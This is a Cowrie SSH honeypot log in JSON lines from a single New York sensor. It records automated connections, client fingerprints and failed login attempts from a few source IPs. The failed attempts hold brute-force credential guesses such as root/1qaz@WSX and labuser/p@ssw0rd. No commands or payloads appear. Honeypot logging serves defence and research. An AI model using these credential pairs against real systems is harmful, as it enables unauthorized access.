{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46748,"dst_ip":"10.17.0.5","dst_port":22,"session":"7983690172f0","protocol":"ssh","message":"New connection: 91.92.42.227:46748 (10.17.0.5:22) [session: 7983690172f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:26.134243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:29.023170Z","src_ip":"91.92.42.227","session":"7983690172f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:29.026000Z","src_ip":"91.92.42.227","session":"7983690172f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"123456","message":"login attempt [john/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:30.456021Z","src_ip":"91.92.42.227","session":"df3398867c4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46828,"dst_ip":"10.17.0.5","dst_port":22,"session":"312a7e3b90b0","protocol":"ssh","message":"New connection: 91.92.42.227:46828 (10.17.0.5:22) [session: 312a7e3b90b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:33.083801Z"}
{"eventid":"cowrie.session.closed","duration":"14.4","message":"Connection lost after 14.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:33.597551Z","src_ip":"91.92.42.227","session":"df3398867c4f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:35.319203Z","src_ip":"91.92.42.227","session":"312a7e3b90b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:35.321293Z","src_ip":"91.92.42.227","session":"312a7e3b90b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.78.122","src_port":39398,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba4682946b3d","protocol":"ssh","message":"New connection: 157.15.78.122:39398 (10.17.0.5:22) [session: ba4682946b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:36.369481Z"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:36.829502Z","src_ip":"157.15.78.122","session":"ba4682946b3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60030,"dst_ip":"10.17.0.5","dst_port":22,"session":"b565b8a304c3","protocol":"ssh","message":"New connection: 45.156.87.147:60030 (10.17.0.5:22) [session: b565b8a304c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:37.816462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:37.820787Z","src_ip":"45.156.87.147","session":"b565b8a304c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:37.913100Z","src_ip":"45.156.87.147","session":"b565b8a304c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:38.160386Z","src_ip":"45.156.87.147","session":"b565b8a304c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:39.093414Z","src_ip":"91.92.42.227","session":"7983690172f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:39.246766Z","src_ip":"45.156.87.147","session":"b565b8a304c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":39780,"dst_ip":"10.17.0.5","dst_port":22,"session":"f91fbe117d48","protocol":"ssh","message":"New connection: 91.92.42.227:39780 (10.17.0.5:22) [session: f91fbe117d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:39.724739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:42.381344Z","src_ip":"91.92.42.227","session":"f91fbe117d48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:42.384908Z","src_ip":"91.92.42.227","session":"f91fbe117d48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54416,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dec6b94c8bd","protocol":"ssh","message":"New connection: 45.156.87.147:54416 (10.17.0.5:22) [session: 2dec6b94c8bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:42.766393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:42.771643Z","src_ip":"45.156.87.147","session":"2dec6b94c8bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:42.852725Z","src_ip":"45.156.87.147","session":"2dec6b94c8bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.8","message":"Connection lost after 16.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:42.892614Z","src_ip":"91.92.42.227","session":"7983690172f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"p@ssw0rd","message":"login attempt [labuser/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:43.109058Z","src_ip":"45.156.87.147","session":"2dec6b94c8bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:44.194634Z","src_ip":"45.156.87.147","session":"2dec6b94c8bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51080,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d744a812b17","protocol":"ssh","message":"New connection: 91.92.42.227:51080 (10.17.0.5:22) [session: 8d744a812b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:46.452986Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:46.973960Z","src_ip":"91.92.42.227","session":"312a7e3b90b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54432,"dst_ip":"10.17.0.5","dst_port":22,"session":"0aa1b996a19f","protocol":"ssh","message":"New connection: 45.156.87.147:54432 (10.17.0.5:22) [session: 0aa1b996a19f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:47.720013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:47.724342Z","src_ip":"45.156.87.147","session":"0aa1b996a19f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:47.805551Z","src_ip":"45.156.87.147","session":"0aa1b996a19f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:48.053569Z","src_ip":"45.156.87.147","session":"0aa1b996a19f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:49.143465Z","src_ip":"45.156.87.147","session":"0aa1b996a19f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:50.427017Z","src_ip":"91.92.42.227","session":"8d744a812b17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:50.429612Z","src_ip":"91.92.42.227","session":"8d744a812b17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.9","message":"Connection lost after 18.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:51.984234Z","src_ip":"91.92.42.227","session":"312a7e3b90b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60204,"dst_ip":"10.17.0.5","dst_port":22,"session":"57acf54f5eeb","protocol":"ssh","message":"New connection: 45.156.87.147:60204 (10.17.0.5:22) [session: 57acf54f5eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:52.842258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:52.846364Z","src_ip":"45.156.87.147","session":"57acf54f5eeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:52.928004Z","src_ip":"45.156.87.147","session":"57acf54f5eeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:53.176700Z","src_ip":"45.156.87.147","session":"57acf54f5eeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51124,"dst_ip":"10.17.0.5","dst_port":22,"session":"adcd61e2022c","protocol":"ssh","message":"New connection: 91.92.42.227:51124 (10.17.0.5:22) [session: adcd61e2022c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:54.078683Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:54.263226Z","src_ip":"45.156.87.147","session":"57acf54f5eeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.76318097114563,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:54.495711Z","src_ip":"172.81.62.90","session":"a0e7fdd3785c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"term2","password":"term2","message":"login attempt [term2/term2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:54.911412Z","src_ip":"91.92.42.227","session":"f91fbe117d48","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:56.805196Z","src_ip":"91.92.42.227","session":"adcd61e2022c","protocol":"ssh"}
